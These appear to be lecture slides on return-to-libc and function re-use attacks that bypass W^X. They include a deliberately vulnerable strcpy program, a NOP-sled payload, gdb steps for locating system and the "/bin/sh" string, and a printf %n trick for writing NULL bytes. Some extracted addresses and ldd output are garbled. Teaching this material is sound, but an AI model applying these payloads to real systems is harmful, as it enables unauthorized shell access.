Return-to-libc
Recap: The Mistakes of StackGuard and Shadow Stack

The mistake: The attacker can only overwrite the return address.

• The attacker can modify local variables
  • Ones that are used in authentication
  • Function pointers

• The attacker can modify EBP
  • Frame pointer overwrite attack
  • EBP points to a fake frame inside the buffer
  • More details

• Assumes only the stack can be attacked!
Recap: NOEXEC (W^X)

• $W^X \rightarrow$ No single region is both writable and executable!

• Deployed in major OS
  • Linux
  • Windows
  • ...

• Hardware Support
  • Intel: XD bit ($XD = execute
disable$)
  • AMD: NX bit
  • ...


Recap...

- StackGuard, Shadow Stack
- NOEXEC (W^X)
- ASLR

We learned how to defeat these two.

Today, how we can defeat W^X.
Limitation of W^X

• Only defends against injecting code on the stack/heap

• Can we hijack the control flow and point to code that is not on the stack/heap?
  • Where would such code be?
Our Goal

• To achieve control hijacking without relying on code injection

• The attacker controls the program flow by directing it to a different:
  
  • *Function inside the program* → Function re-use attack
  
  • *Function inside libc* → Return-to-libc Attack
  
  • *Sequence of instructions* → Return-oriented programming (ROP)
void bad() {
    system("/bin/sh");
}

int fn(char* str) {
    char* buffer[48];
    strcpy(buffer, str);
    return 1;
}
Check if the stack is not executable...

$ readelf -l jmp_to_fn
Elf file type is EXEC (Executable file)
Entry point 0x80483f0
There are 9 program headers, starting at offset 52

... GNU_STACK 0x000000 0x00000000 0x00000000
0x000000 0x000000 RW 0x10
...
Function Re-use Attack

• Checking bad address

$ objdump -d jmp_to_fn | grep bad

080484eb <bad>:

• Use it as the return address:

  00000000 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 |.............|
  *
  00000030 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 eb 84 04 08 |.............|
libc

• A library for C standard
• Implementing many functions:
  • String manipulation
  • IO
  • Memory
  • ...

• We use it almost in every program!
  • <std*.h>
  • Check your program using `ldd`

```
$ ldd /bin/ls
linux-vdso.so.1 (0x00007ffcc3563000)
libssl.so.1 => /lib64/libsslx.so.1 (0x00007f87e5459000)
libcap.so.2 => /lib64/libcap.so.2 (0x00007f87e5254000)
lib.so.6 => /lib64/lib.so.6 (0x00007f87e4e2000)
libpcre.so.1/so.1 (0x00007f87e422000)
libdl.so.2 => /lib64/libdl.so.2 (0x00007f87e41e000)
/lib64/ld-linux-x86-64.so.2 (0x00005574bf12e000)
/libattr.so.1 => /lib64/libattr.so.1 (0x00007f87e4817000)
/libpthreads.o.0 => /lib64/libpthread.so.0 (0x00007f87e45fa000)
```

```
$ ldd /bin/* | grep "libc." | wc -l
131

$ ldd /usr/bin/* | grep "libc." | wc -l
1354
```
Return-to-libc [Solar Designer ‘97]

- Overwrite the return address to an address of a function in libc
  - Instead of relying on the program functions!

```c
int fn(char* str) {
    char* buffer[48];
    strcpy(buffer, str);
    return 1;
}
```
Return-to-libc

- Overwrite the return address to an address of a function in libc
  - Instead of relying on the program functions!
Return-to-libc

- Overwrite the return address to an address of a function in libc
  - Instead of relying on the program functions!

Look for this pattern

- `system("/bin/sh")`
- Other libc fns
Return-to-libc: First Attempt

• Can we find the pattern `system("/bin/sh")`?
  • The attacker may not be lucky!

This pattern may not exist in libc!
Return-to-libc: Fake SF

- We need to construct a Fake SF for our attack!
- How would it look?
Recall: Function Prologue

Initial state: The caller pushes args and return address

- **push ebp**
  - Saved BP
  - Ret. Address
  - Args

- **mov ebp, esp**
  - Saved BP
  - Ret. Address
  - Args

- **sub esp, <N>**
  - Local Vars
  - Saved BP
  - Ret. Address
  - Args
Recall: Function Epilogue

With `ret` instruction, the next instruction to be executed depends on a value in the stack.
Return-to-libc: Into the system SF

Initial state:
The vulnerable function executes ret

After ret

system Prologue:
push ebp
mov ebp, esp
sub esp, <N>
Return-to-libc: Into the system SF

System Prologue:
- `push ebp`
- `mov ebp, esp`
- `sub esp, <N>`

System expects:
- `ebp+8`: str address
- `ebp+4`: return address

Fake SF (?)

Call Site

Address of str

```
"/bin/sh"
```
Return-to-libc: Fake SF

• The final payload:

```plaintext
NOP Sled

NOP Sled
Ret. Address
BBBB
Address of str
Caller SF

system()
Other libc fns

"/bin/sh"
```

Our fake SF
Return-to-libc: Fake SF

• How can we find the string address “bin/sh”?
• Option: Keep it in an env. var!

Our fake SF

- NOP Sled
- NOP Sled
- Ret. Address
- BBBB
- Address of str
- Caller SF

system()
Other libc fns
“/bin/sh”
Return-to-libc: Steps

• Store “/bin/sh” in an env. variable
  • export SHELL=“/bin/sh”

• Find the address of system

• Find the address of the env. variable
Address of `system`

- Use `gdb` (after running the program and break at `main`)

```plaintext
gdb$ p system
$1 = {<text variable, no debug info>} 0xb7da4da0
  <__libc_system>
```
Address of “/bin/sh”

- Use gdb (after running the program and break at main)
- Print few strings from the stack

gdb$ x/300s $esp
0xbfffffd57:SHELL=/bin/sh

Address of the string = 0xbfffffd57 + 6
= 0xbfffffd5d
Return-to-libc: Our Stack

Our fake SF

1. NOP Sled
2. NOP Sled
3. 0xb7da4da0
4. BBBB
5. 0xbffffffd5d

Caller SF

gdb$ p system
$1 = {<text variable, no debug info>}
0xb7da4da0 __libc_system

0xb7da4da0

system()

Other libc fns

0xbffffffd57:SHELL=/bin/sh
Address of the string = 0xbffffffd57 + 6
= 0xbffffffd5d

0xbffffffd5d

"/bin/sh"
Return-to-libc: Our Stack

• SIGSEGV on exit...
• How can we fix this issue?
Return-to-libc: Our Stack

• The return address of `system` need to point to `exit`

![Diagram showing the stack layout with addresses and functions.]
Return-to-libc: Injecting NULL Bytes

• Assume we want to call a function FUNC that takes three arguments
  • We want third argument to be NULL
  • How can we do it?
Return-to-libc: Injecting NULL Bytes

- How can we write a specific value to a specific address on the stack?
  - Our good friend: printf

```
0xbffffaaa
fmt_str = "%5$n"
```

```
0xbfffffd5d
ARG1
```

```
0xbfffffd6f
ARG2
```

```
0xb7da4bac
0xbffffaaa
0xb7da4da0
0xb7d989d0
0xbfffffd5d
0xbfffffd6f
ZERO
```

```
0xb7da4da0
FUNC()
```

```
0xb7d989d0
exit()
```

```
0xb7da4bac
printf
```

```
0xbffffaaa
```

```
0xb7da4da0
```

```
0xbfffffd5d
```

```
0xb7d989d0
```

```
Other libc fns
```

We use %5$n to write ZERO at the 5th arg of printf when it's being executed!
Return-to-libc: Injecting NULL Bytes

What is the return address after printf?

0xbffffaaa
fmt_str = “%5$n”

0xbffffd5d
ARG1

0xbffffd6f
ARG2

We use %5$n to write ZERO at the 5th arg of printf when it’s being executed!

0xb7da4bac
printf

0xb7da4dff
pop ebp
ret

ret will cause FUNC to be called

0xb7da4da0
FUNC()

0xb7d989d0
exit()

Other libc fns

0xb7da4bff
pop ebp
ret

0xb7da4dff
ret

0xbffffa0
ARG2

0xb7da4da0
ARG1

0xb7d989d0
ZERO

0xb7da4bac
fmt_str = “%5$n”
Return-to-libc: Recap

- Bypasses the X^W (NOEXEC) defenses
- No need to inject code to the stack!

![Diagram](image-url)
Return-to-libc: Limitations

• The attacker cannot execute arbitrary code!
  • All-or-nothing functions

• It depends on functions that exist in libc
  • Proposals to remove system function
Questions?